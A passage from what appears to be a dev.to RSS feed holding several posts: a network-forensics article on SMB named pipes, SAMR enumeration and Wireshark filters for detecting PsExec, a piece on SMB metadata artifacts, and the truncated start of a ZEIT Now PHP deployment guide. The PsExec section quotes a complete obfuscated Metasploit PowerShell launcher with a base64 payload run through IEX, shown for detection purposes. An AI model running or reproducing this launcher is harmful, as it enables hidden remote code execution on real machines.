&lt;p&gt;While Samba is mostly known as a file and printer sharing solution, it also provides &lt;a href="https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-wpo/4de75e21-36fd-440a-859b-75accc74487c"&gt;&lt;strong&gt;Named Pipes&lt;/strong&gt;&lt;/a&gt; to facilitate communication between local and remote process. &lt;/p&gt;

&lt;p&gt;Now, in Windows networks, Named Pipes are typically used by &lt;a href="https://en.wikipedia.org/wiki/Microsoft_RPC"&gt;&lt;strong&gt;MSRPC protocol&lt;/strong&gt;&lt;/a&gt;. MSRPC is basicly an implementation of &lt;strong&gt;Distributed Computing Environment Remote Procedure Call (&lt;a href="https://en.wikipedia.org/wiki/DCE/RPC"&gt;DCE/RPC&lt;/a&gt;)&lt;/strong&gt; protocol used to execute functions on the remote endpoint and to transfer data. This allows MSRPC to copy files, work with remote Windows registry and manage Windows services while having the benefit of SMB authentication layer (since a named pipe is just another type of a "share"). Following services are typical examples of MSRPC traffic generators:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;MS Sharing&lt;/li&gt;
&lt;li&gt;MS Security (NLMSSP)&lt;/li&gt;
&lt;li&gt;MS Active Directory&lt;/li&gt;
&lt;li&gt;MS Print&lt;/li&gt;
&lt;li&gt;MS Terminal Server&lt;/li&gt;
&lt;li&gt;MS Remote Services&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;So e.g. &lt;code&gt;Spoolsvc.exe&lt;/code&gt; can generate a packet which looks like this:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight"&gt;&lt;pre class="highlight plaintext"&gt;&lt;code&gt;+-------------------------------+
|              IP               |
+-------------------------------+
|             TCP               |
+-------------------------------+
|        SMB Named Pipe         |
+-------------------------------+
|        MSRPC (DCE/RPC)        |
+-------------------------------+
|     Print Spooler Service     |
+-------------------------------+
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;



&lt;p&gt;401TRG compiled &lt;a href="https://401trg.com/an-introduction-to-smb-for-network-security-analysts/amp/"&gt;an excellent resource&lt;/a&gt; on this topic and packet samples in the following sections are borrowed from their work.&lt;/p&gt;

&lt;h2&gt;
  
  
  Domain users enumeration
&lt;/h2&gt;

&lt;p&gt;&lt;a href="https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-samr/96952411-1d17-4fe4-879c-d5b48a264314"&gt;Security Account Manager (SAMR)&lt;/a&gt; protocol uses SMB as one of its transport protocols. In this case, SMB connects to &lt;code&gt;samr&lt;/code&gt; pipe on &lt;code&gt;IPC$&lt;/code&gt; share. It can then invoke SAMR methods to enumerate domains (&lt;code&gt;samr.opnum == 6&lt;/code&gt;), domain users (&lt;code&gt;samr.opnum == 13&lt;/code&gt;), query user info (&lt;code&gt;samr.opnum == 36&lt;/code&gt;) etc. Following filter shows packets with user information.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--bKlghHUW--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://thepracticaldev.s3.amazonaws.com/i/2rw6q8ynwuw155xfvdnh.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--bKlghHUW--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://thepracticaldev.s3.amazonaws.com/i/2rw6q8ynwuw155xfvdnh.png" alt="samr user enum packet"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Wireshark filter:&lt;/strong&gt; &lt;code&gt;samr.samr_EnumDomainUsers.sam or samr.samr_QueryUserInfo.info&lt;/code&gt;&lt;br&gt;
&lt;strong&gt;PCAP sample:&lt;/strong&gt; &lt;a href="https://github.com/401trg/detections/raw/master/pcaps/20171220_smb_net_user.pcap"&gt;smb_net_user.pcap&lt;/a&gt; by 401TRG&lt;/p&gt;
&lt;h2&gt;
  
  
  PsExec
&lt;/h2&gt;

&lt;p&gt;PsExec is a popular &lt;a href="https://docs.microsoft.com/en-us/sysinternals/downloads/sysinternals-suite"&gt;Sysinternals Suite&lt;/a&gt; tool for remote administration in Active Directory environments and is often an attacker's favorite choice for remote code execution attacks. A deep dive to PsExec is can by found in this &lt;a href="https://blog.f-secure.com/endpoint-detection-of-remote-service-creation-and-psexec/"&gt;blog&lt;/a&gt;.  &lt;/p&gt;

&lt;p&gt;In a basic attack scenario a binary &lt;code&gt;PSEXESVC.exe&lt;/code&gt; is transferred over SMB&lt;br&gt;
protocol to a victim machine using &lt;code&gt;ADMIN$&lt;/code&gt; share. It is then executed remotely as a temporary service using &lt;code&gt;IPC$&lt;/code&gt; share. Following filter will match SMB transfers and invocations of PsExec based on filename detection.   &lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Wireshark filter:&lt;/strong&gt; &lt;code&gt;smb.file ~ "PSEXESVC" or smb2.filename ~ "PSEXESVC" or svcctl.servicename ~ "PSEXESVC"&lt;/code&gt;&lt;br&gt;
&lt;strong&gt;PCAP sample:&lt;/strong&gt; &lt;a href="https://github.com/401TRG/detections/raw/master/pcaps/20171220_smb_psexec_add_user.pcap"&gt;smb_psexec_add_user.pcap&lt;/a&gt; by 401TRG&lt;/p&gt;

&lt;p&gt;It is however worth noting that such a file transfer usually triggers alarms so PsExec modules like &lt;a href="https://www.metasploit.com/"&gt;Metasploit&lt;/a&gt; attempt to evade it using PowerShell invocation via RPC. An example how Metasploit obfuscates its payload:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight"&gt;&lt;pre class="highlight plaintext"&gt;&lt;code&gt;%COMSPEC% /b /c start /b /min powershell.exe -nop -w hidden -c if([IntPtr]::Size -eq 4){$b='powershell.exe'}else{$b=$env:windir+'\syswow64\WindowsPowerShell\v1.0\powershell.exe'};$s=New-Object System.Diagnostics.ProcessStartInfo;$s.FileName=$b;$s.Arguments='-nop -w hidden -c $s=New-Object IO.MemoryStream(,[Convert]::FromBase64String(''H4sIAIfj8FkCA71WbW/aSBD+nEr9D1aFZFsl2BDaNJEqnW0gEDABHCDAoWhjr+2FtZfY6/DS63+/MdgNVZoq1w9ngbwvM7vPPvPMjt0ktDlhoeB0y8OF3
/YuhG/v3530UIQCQSr4y6ZxnxSFwkOX+BEn8skJzBaCbmt037OGdC18FaSZtlrVWIBIOL+8NJIowiE/9EtXmGtxjIMHSnAsycI
/wtjHET69eVhgmwvfhMJ96YqyB0Qzs62BbB8Lp1ropHMdZqMUXslaUcIl8e+/RXl2Wp6X6o8JorEkWtuY46DkUCrKwnc53fB2u8KSaBI7YjFzeWlMwrNKaRjGyMVdWO0Jm5j7zIlFGc4CvwjzJAqFo1OlyxyMJBGavYjZmuNEOAafUit8YkssFcKE0qLwlzTLMAySkJMAwzzHEVtZOHoiNo5LTRQ6FA+wO5e6eJ0f
/a1O0rETWPV4JBchMq+CNZmTUHzwF+WXcLOYyvAcxRWo+P7+3ft3bq6HhVpF1xN3MDg7FgS0Tmb7Nga8Uo/FZG/9VVCLggl7Is6iLXQLt1GC5bkwS6Mxm8+FAh2onduhXnx9iXJuD9Ye2d7A0GzEiDMHlyxUhU05Cax04nXN1bBLQlzbhiggdi4r6VfcY5fi/WlLuVkXUEliNoGdGqbYQzzlsSjMXrrVA8J
/+OoJoQ6ONBviFwMqCK38M5hDaCSxFZo4AJ4OfRHC4IKYcW6dCXib7572wUg0KIrjotBLIJvsomBhRLFTFLQwJtmUlnC2b4rPcM2EcmKjmOfLzeUfRGYbGiyMeZTYEDs4/K21wjZBNOWiKDSJg
/WtRbx8Y
/GXTBiIUhJ6sNITRAJGUgYsnioiAox59OWShXkrWFEcgNk+tRsUeZDIWSLsVYQ87IgvUOYaPwg6JSRn4ggjRNmijBeFEYk4XBEpuamW/hjC0f1wAGNEOIuJlCfNTN
/yVOSFDZk+erpubrxUohlLe04iDnw0IhboKMafqxaPgC3pg3JDDA2eSSukpq0vSVlbk3LLhP+QnLVY7dxpXy+aSlTb+K7Wiltms1frN5vVp2trVOVWvcXbvRY363eLhaU1B8MJn7a05i1Rl5PqbnVNdlZHcyYb5fNO361VfbNbeI47qbmud+5ag/KnBumMjb6uVlCnVk86Y32tq9W4TtbNPhn2l9cN
/jAZUTR0Fe+ufIHIphMtRmVm7lqaduWf2btrd3Tlm8520lQuxtWlVtc0I6yPGjprT
/RI6ykj5K3Yuu21zcAzNL1hEzztDxt6v9
/QteHV4rF2oXjge4d8fTyqkOnqbuBDvwEQ2opabTl4xyZ9IOmKacgbgI1nVGzfBZvaR03
/2GVxBS11pulg05g+Aq7JqtGjMH87rDBtRLt3SOtMtw1FKU96Va2pkvGVp6VLIk
/vIy1+qu1qSnnkMGf8qTtxldEdPVdqxu3KdhVFWTdrbXta3ny5Oa
/q6qMRkIA+VBzlYvhFD+FkvSfP6Y
/PB5vu9gH2GyrK6EMqHdBOwTfak+sjMbx235soin1EQSRwheeZ2mBRI7uPe4ykHpL0XKeXOAoxhdIGxS+Xu0Yps9P6cHR9Q4U61I05ZO4QmmeVX7Zk4Yeh
/Fw38qHLyykAhjR61nipg0OP+0V1c6aqcP+rm6oK5377UQ222kpHCxbTKnKg7OeN6H4jOc21gpPsIkzuw/+B1CzVfXg5byP1eew3s28iWi1mRLwY
/3ngPxH+ZzSMEeFgbsGNRfGhhP6OjUxNR58eechAKW72pJ+CNwk/7cJXyb
/ONMdWhAoAAA==''));IEX (New-Object IO.StreamReader(New-Object IO.Compression.GzipStream($s,[IO.Compression.CompressionMode]::Decompress))).ReadToEnd();';$s.UseShellExecute=$false;$s.RedirectStandardOutput=$true;$s.WindowStyle='Hidden';$s.CreateNoWindow=$true;$p=[System.Diagnostics.Process]::Start($s);
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;



&lt;p&gt;Wireshark alone won't get you very far here, but sometimes you should be able to spot PowerShell in SMB packets and work from there:&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Wireshark filter:&lt;/strong&gt; &lt;code&gt;smb.file ~ "POWERSHELL" or smb2.filename ~ "POWERSHELL" or svcctl.binarypathname ~ "POWERSHELL"&lt;/code&gt;&lt;br&gt;
&lt;strong&gt;PCAP sample:&lt;/strong&gt; &lt;a href="https://github.com/401TRG/detections/raw/master/pcaps/20171220_smb_metasploit_psexec_pth_download_meterpreter.pcap"&gt;smb_metasploit_psexec_pth_download_meterpreter.pcap&lt;/a&gt;  by 401TRG&lt;/p&gt;




&lt;p&gt;As you can see, RPC can be used to call remote functions, which can also mean starting a remote service, which in turn can do almost anything you want. Next time I am going to dig some bits in the SMB traffic which can provide useful in endpoint fingerprinting.&lt;/p&gt;

&lt;h2&gt;
  
  
  References
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;&lt;a href="https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-wpo/4de75e21-36fd-440a-859b-75accc74487c"&gt;Microsoft Docs: Named Pipes&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://blog.f-secure.com/endpoint-detection-of-remote-service-creation-and-psexec/"&gt;F-Secure: Endpoint Detection of Remote Service Creation and PsExec&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://401trg.com/an-introduction-to-smb-for-network-security-analysts/amp/"&gt;401TRG: An Introduction to SMB for Network Security Analysts&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

</description>
      <category>security</category>
      <category>network</category>
      <category>dfir</category>
      <category>smb</category>
    </item>
    <item>
      <title>SMB: file metadata and metadata files</title>
      <dc:creator>Petr Stuchlík</dc:creator>
      <pubDate>Wed, 08 Jan 2020 08:29:55 +0000</pubDate>
      <link>https://dev.to/nx1/smb-file-metadata-and-metadata-files-228h</link>
      <guid>https://dev.to/nx1/smb-file-metadata-and-metadata-files-228h</guid>
      <description>&lt;p&gt;&lt;strong&gt;After spending some years in network forensics field, hoarding tons of PCAPs and making cryptic notes on the topic I decided that I wanted to review it all and start sharing some concepts, interesting findings or cool ideas. I hope that someone might find them useful or just fun to follow. For the sake of sanity I am going to publish this as series.&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;This article will be dealing with SMB protocol and metadata hiding in it, often in plain sight. My knowledge on SMB is certainly limited and I still remember the time when "Samba" was just an easy way to share stuff on MS Windows network. In my experience this is also what many people think today, sometimes even in forensic world. The usual evidence is that files were transferred from A to B and metadata are often ignored because of the juicy payloads.&lt;/p&gt;

&lt;p&gt;But SMB is pretty damn complex ecosystem and has much more to offer. So in this article I am going to ignore the typical file transfers.&lt;/p&gt;

&lt;p&gt;Tools exist.&lt;/p&gt;

&lt;p&gt;Let's focus on metadata.&lt;/p&gt;

&lt;h2&gt;
  
  
  Intro
&lt;/h2&gt;

&lt;p&gt;In this part I will describe some sources of metadata which either accompany common SMB file transfers or get transferred as files due to OS or app-specific behavior.&lt;/p&gt;

&lt;p&gt;For brevity of this text I am going to expect that the reader is familiar with Wireshark and basics of SMB protocol. While a lot of information about SMB protocol can be found on &lt;a href="https://wiki.wireshark.org/SMB"&gt;Wireshark wiki&lt;/a&gt;, I highly recommend &lt;a href="https://hatsoffsecurity.com/2018/01/10/smb-quick-introduction/"&gt;SMB Quick Introduction&lt;/a&gt; by Hats Off Security as the author can really look on things from forensic POV.&lt;/p&gt;

&lt;p&gt;The important thing for our purpose is that SMB protocol has three major versions (SMB 1-3), but version 3 is technically just SMB 2.2 so the first Wireshark filter you should be aware of is &lt;code&gt;smb or smb2&lt;/code&gt; which gives you all SMB packets regardless of the version.&lt;/p&gt;

&lt;h2&gt;
  
  
  MACB timestamps
&lt;/h2&gt;

&lt;p&gt;File MACB (modification, access, change, birth) timestamps are one the basic forensic artifacts as they help to point a forensic timeline for a given case. Luckily Samba supports these timestamps in many common packets like &lt;a href="https://wiki.wireshark.org/SMB2/Create#SMB2.2FCreate_Response"&gt;SMB2/Create Response&lt;/a&gt; (downloads typically), &lt;a href="https://wiki.wireshark.org/SMB2/GetInfo#SMB2.2FGetInfo_Response"&gt;SMB2/GetInfo Response&lt;/a&gt;, &lt;a href="https://wiki.wireshark.org/SMB2/SetInfo"&gt;SMB2/SetInfo Request&lt;/a&gt; and &lt;a href="https://wiki.wireshark.org/SMB2/Close#SMB2.2FClose_Response"&gt;SMB2/Close Response&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--UiNKrugr--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://thepracticaldev.s3.amazonaws.com/i/33v0c6z0exlq0e4zytaf.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--UiNKrugr--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://thepracticaldev.s3.amazonaws.com/i/33v0c6z0exlq0e4zytaf.png" alt="smb create response packet"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;Note that these fields have type &lt;code&gt;Date and time&lt;/code&gt;, so to list files created since 2020 you would use &lt;code&gt;smb2.create.time &amp;gt; "Jan 01, 2020 00:00:00"&lt;/code&gt; instead of the raw value.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;&lt;strong&gt;Wireshark filter:&lt;/strong&gt; &lt;code&gt;smb.access.time or smb2.last_access.time&lt;/code&gt;&lt;br&gt;
&lt;strong&gt;PCAP sample:&lt;/strong&gt; &lt;a href="http://www.chrissanders.org/resource/smb_putty_xfer.pcap"&gt;smb2_putty_xfer.pcap&lt;/a&gt; by Chris Sanders&lt;/p&gt;

&lt;h2&gt;
  
  
  Thumbs.db
&lt;/h2&gt;

&lt;p&gt;Speaking of file metadata there can also be complimentary metadata files. These files are not always available, because their presence in the traffic is conditioned by a specific OS or application feature.&lt;/p&gt;

&lt;p&gt;On MS systems one of the most common metadata files is &lt;a href="https://en.wikipedia.org/wiki/Windows_thumbnail_cache"&gt;Windows thumbnail cache&lt;/a&gt;, aka &lt;code&gt;Thumbs.db&lt;/code&gt;. The file is notoriously known and stores thumbnail images for &lt;code&gt;explorer.exe&lt;/code&gt; to load faster. What's not so widely known outside infosec community is that when browsing Samba shares using MS Explorer, this file  gets created and transferred automatically over network (the thumbnail cache makes even more sense in this case).&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Wireshark filter:&lt;/strong&gt; &lt;code&gt;smb.file contains "Thumbs.db" or smb2.filename contains "Thumbs.db"&lt;/code&gt;&lt;br&gt;
&lt;strong&gt;Tool:&lt;/strong&gt; &lt;a href="https://thumbsviewer.github.io/"&gt;Thumbs viewer&lt;/a&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  Outlook.NK2
&lt;/h2&gt;

&lt;p&gt;Another interesting metadata file is &lt;code&gt;Outlook.NK2&lt;/code&gt;. This is a &lt;a href="https://support.microsoft.com/en-us/help/2199226/information-about-the-outlook-autocomplete-list"&gt;MS Office AutoComplete list&lt;/a&gt; of names and email addresses. Outlook automatically updates this file according to user activity. If you happen to gaze into network where MS Office applications run over network, there's a chance that you can encounter a transfer of this file in the traffic.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Wireshark filter:&lt;/strong&gt; &lt;code&gt;smb.file contains ".NK2" or smb2.filename contains ".NK2"&lt;/code&gt;&lt;br&gt;
&lt;strong&gt;Tool:&lt;/strong&gt; &lt;a href="https://www.nirsoft.net/utils/outlook_nk2_edit.html"&gt;NK2Edit&lt;/a&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  NTUser.dat
&lt;/h2&gt;

&lt;p&gt;You can find SMB file transfers of &lt;code&gt;ntuser.dat&lt;/code&gt; when Microsoft &lt;a href="https://docs.microsoft.com/en-us/windows-server/storage/folder-redirection/folder-redirection-rup-overview"&gt;Roaming User Profiles&lt;/a&gt; are deployed. Citing MS docs:&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;Roaming User Profiles redirects user profiles to a file share so that users receive the same operating system and application settings on multiple computers.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;This means that all user profile data are transferred over network including MS Registry Hives such as &lt;code&gt;ntuser.dat&lt;/code&gt;. This file contains anything that typically resides in &lt;code&gt;HKEY_CURRENT_USER&lt;/code&gt;, e.g. mount points, recent documents, typed URLs, connected wireless APs or &lt;a href="https://resources.infosecinstitute.com/windows-registry-analysis-regripper-hands-case-study-2/"&gt;remotely connected systems&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Wireshark filter:&lt;/strong&gt; &lt;code&gt;smb.file contains "ntuser.dat" or smb2.filename contains "ntuser.dat"&lt;/code&gt;&lt;br&gt;
&lt;strong&gt;Tool:&lt;/strong&gt; &lt;a href="https://github.com/keydet89/RegRipper2.8"&gt;RegRipper&lt;/a&gt;, &lt;a href="https://github.com/mkorman90/regipy"&gt;Regipy&lt;/a&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  .DS_STORE
&lt;/h2&gt;

&lt;p&gt;On MacOS a &lt;code&gt;.DS_STORE&lt;/code&gt; file is a hidden attribute store which can be automatically created by MacOS Finder in any folder (regardless of file system or network share) based on user activity.&lt;/p&gt;

&lt;p&gt;The file has recently gained some attention in infosec community, because it can contain sensitive information. With the fact that it is hidden by default in the Finder, it can easily lead to data leaks. What sensitive information you ask? For example:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;all file and directory names in the corresponding folder&lt;/li&gt;
&lt;li&gt;selected items in the folder&lt;/li&gt;
&lt;li&gt;trash put backs&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Especially the first case is interesting if you find a &lt;code&gt;.DS_STORE&lt;/code&gt; on a website. I recommend a &lt;a href="https://www.sans.org/cyber-security-summit/archives/file/summit-archive-1564079868.pdf%20by%20Nicole%20Ibrahim"&gt;SANS talk by Nicole Ibrahim&lt;/a&gt; and a &lt;a href="https://0day.work/parsing-the-ds_store-file-format/"&gt;dissection guide by gehaxelt&lt;/a&gt; for more information on the topic.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Wireshark filter:&lt;/strong&gt; &lt;code&gt;smb.file contains ".DS_STORE" or smb2.filename contains ".DS_STORE"&lt;/code&gt;&lt;br&gt;
&lt;strong&gt;Tool:&lt;/strong&gt; &lt;a href="https://github.com/gehaxelt/ds_store"&gt;&lt;code&gt;ds_store.go&lt;/code&gt;&lt;/a&gt;, &lt;a href="https://grimhacker.com/2019/05/06/parsing-ds_store-files/"&gt;&lt;code&gt;ds_store_parser.py&lt;/code&gt;&lt;/a&gt;&lt;/p&gt;




&lt;p&gt;That's it for today. Do you know of any other forensic metadata sources in SMB protocol? Let me know.&lt;/p&gt;

&lt;h2&gt;
  
  
  References
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;&lt;a href="https://hatsoffsecurity.com/tag/smb/"&gt;Hats Off Security: SMB tag archive&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://chrissanders.org/2011/11/packet-carving-with-smb-and-smb2/"&gt;Chris Sanders: Packet Carving with SMB and SMB2&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://support.microsoft.com"&gt;MS doc&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://wiki.wireshark.org/SMB2"&gt;SMB2 Wireshark Wiki&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://en.wikipedia.org/wiki/Windows_thumbnail_cache"&gt;Wikipedia: Windows thumbnail cache&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://resources.infosecinstitute.com/windows-registry-analysis-regripper-hands-case-study-2/"&gt;Windows Registry analysis with RegRipper - A 'Hands-on' Case Study&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.sans.org/cyber-security-summit/archives/file/summit-archive-1564079868.pdf"&gt;Nicole Ibrahim: .DS_Stores: Like Shellbags but for Macs&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://0day.work/parsing-the-ds_store-file-format/"&gt;Gehaxelt: Parsing the .DS_Store file format&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

</description>
      <category>security</category>
      <category>network</category>
      <category>dfir</category>
      <category>smb</category>
    </item>
    <item>
      <title>Deploy Static Frontend + PHP Files Using ZEIT Now</title>
      <dc:creator>Milan Felix Šulc</dc:creator>
      <pubDate>Mon, 16 Dec 2019 09:10:12 +0000</pubDate>
      <link>https://dev.to/nx1/deploy-static-frontend-php-files-using-zeit-now-mg</link>
      <guid>https://dev.to/nx1/deploy-static-frontend-php-files-using-zeit-now-mg</guid>
      <description>&lt;p&gt;I am quite a fan of &lt;a href="https://zeit.co"&gt;ZEIT&lt;/a&gt; company and even more of their tool called &lt;a href="https://zeit.co/now"&gt;Now&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;I consider myself mainly as PHP developer, but I also like JavaScript. In these days static site generators are raising and I am totally into it.&lt;/p&gt;

&lt;p&gt;So how to take advantage of static frontend but with dynamic backend written in PHP?&lt;/p&gt;

&lt;p&gt;Since November 2019 it's simple as possible with &lt;a href="https://zeit.co/blog/customizing-serverless-functions"&gt;ZEIT Now&lt;/a&gt;.&lt;/p&gt;


&lt;blockquote class="ltag__twitter-tweet"&gt;
      &lt;div class="ltag__twitter-tweet__media"&gt;
        &lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--b0Gs7zbp--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://pbs.twimg.com/media/ELbMUELW4AAo0So.jpg" alt="unknown tweet media content"&gt;
      &lt;/div&gt;

  &lt;div class="ltag__twitter-tweet__main"&gt;
    &lt;div class="ltag__twitter-tweet__header"&gt;
      &lt;img class="ltag__twitter-tweet__profile-image" src="https://res.cloudinary.com/practicaldev/image/fetch/s--ialxF8ae--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://pbs.twimg.com/profile_images/463019920343592960/bJdt4ud2_normal.png" alt="Milan Felix Šulc profile image"&gt;
      &lt;div class="ltag__twitter-tweet__full-name"&gt;
        Milan Felix Šulc
      &lt;/div&gt;
      &lt;div class="ltag__twitter-tweet__username"&gt;
        @xf3l1x
      &lt;/div&gt;
      &lt;div class="ltag__twitter-tweet__twitter-logo"&gt;
        &lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--P4t6ys1m--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://practicaldev-herokuapp-com.freetls.fastly.net/assets/twitter-f95605061196010f91e64806688390eb1a4dbc9e913682e043eb8b1e06ca484f.svg" alt="twitter logo"&gt;
      &lt;/div&gt;
    &lt;/div&gt;
    &lt;div class="ltag__twitter-tweet__body"&gt;
      &lt;a href="https://twitter.com/rauchg"&gt;@rauchg&lt;/a&gt; &lt;a href="https://twitter.com/drk"&gt;@drk&lt;/a&gt; &lt;a href="https://twitter.com/rjs"&gt;&lt;/a&gt;&lt;a href="https://twitter.com/rjs"&gt;@rjs&lt;/a&gt; &lt;a href="https://twitter.com/ionos_com"&gt;@ionos_com&lt;/a&gt; &lt;a href="https://twitter.com/zeithq"&gt;&lt;/a&gt;&lt;a href="https://twitter.com/zeithq"&gt;@zeithq&lt;/a&gt; Hi &lt;a href="https://twitter.com/rjs"&gt;&lt;/a&gt;&lt;a href="https://twitter.com/rjs"&gt;@rjs&lt;/a&gt;. &lt;br&gt;&lt;br&gt;Deploy static frontend with PHP files to &lt;a href="https://twitter.com/zeithq"&gt;&lt;/a&gt;&lt;a href="https://twitter.com/zeithq"&gt;@zeithq&lt;/a&gt; is pretty easy. We're using it daily.&lt;br&gt;&lt;br&gt;I've prepared for you a demo. 🎄&lt;br&gt;&lt;br&gt;You can reach me anytime. 👨🏻‍💻&lt;br&gt;&lt;br&gt;&lt;a href="https://t.co/IP96WzPE73"&gt;bit.ly/2RF8cbh&lt;/a&gt; 
    &lt;/div&gt;
    &lt;div class="ltag__twitter-tweet__date"&gt;
      12:17 PM - 10 Dec 2019
    &lt;/div&gt;


    &lt;div class="ltag__twitter-tweet__actions"&gt;
      &lt;a href="https://twitter.com/intent/tweet?in_reply_to=1204374619433635841" class="ltag__twitter-tweet__actions__button"&gt;
        &lt;img src="/assets/twitter-reply-action.svg" alt="Twitter reply action"&gt;
      &lt;/a&gt;
      &lt;a href="https://twitter.com/intent/retweet?tweet_id=1204374619433635841" class="ltag__twitter-tweet__actions__button"&gt;
        &lt;img src="/assets/twitter-retweet-action.svg" alt="Twitter retweet action"&gt;
      &lt;/a&gt;
      0
      &lt;a href="https://twitter.com/intent/like?tweet_id=1204374619433635841" class="ltag__twitter-tweet__actions__button"&gt;
        &lt;img src="/assets/twitter-like-action.svg" alt="Twitter like action"&gt;
      &lt;/a&gt;
      1
    &lt;/div&gt;
  &lt;/div&gt;
&lt;/blockquote&gt;


&lt;p&gt;👀 &lt;a href="https://imgur.com/V7CcInl"&gt;https://imgur.com/V7CcInl&lt;/a&gt;&lt;/p&gt;




&lt;p&gt;Minimal project structure looks like this, you gonna need only 3 files.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight"&gt;&lt;pre class="highlight plaintext"&gt;&lt;code&gt;project/
├── api/
│   ├── index.php
├── now.json
└── index.html
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;



&lt;p&gt;File &lt;strong&gt;index.html&lt;/strong&gt; contains static frontend.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight"&gt;&lt;pre class="highlight html"&gt;&lt;code&gt;&lt;span class="nt"&gt;&amp;lt;html&amp;gt;&lt;/span&gt;
&lt;span class="nt"&gt;&amp;lt;head&amp;gt;&amp;lt;/head&amp;gt;&lt;/span&gt;
&lt;span class="nt"&gt;&amp;lt;body&amp;gt;&lt;/span&gt;

#
# Fetch data from /api/index.php using Fetch API
#

&lt;span class="nt"&gt;&amp;lt;/body&amp;gt;&lt;/span&gt;
&lt;span class="nt"&gt;&amp;lt;/html&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;



&lt;p&gt;File &lt;strong&gt;api/index.php&lt;/strong&gt; contains dynamic data or expose API endpoint.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight"&gt;&lt;pre class="highlight php"&gt;&lt;code&gt;&lt;span class="cp"&gt;&amp;lt;?php&lt;/span&gt;

&lt;span class="nb"&gt;header&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'conten-type: application/json'&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="k"&gt;echo&lt;/span&gt; &lt;span class="nb"&gt;json_encode&lt;/span&gt;&lt;span class="p"&gt;([&lt;/span&gt;&lt;span class="s1"&gt;'tech'&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="s1"&gt;'ZEIT Now'&lt;/span&gt;&lt;span class="p"&gt;]);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;



&lt;p&gt;File &lt;strong&gt;now.json&lt;/strong&gt; setup deployment.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight"&gt;&lt;pre class="highlight json"&gt;&lt;code&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"functions"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="nl"&gt;"api/index.php"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
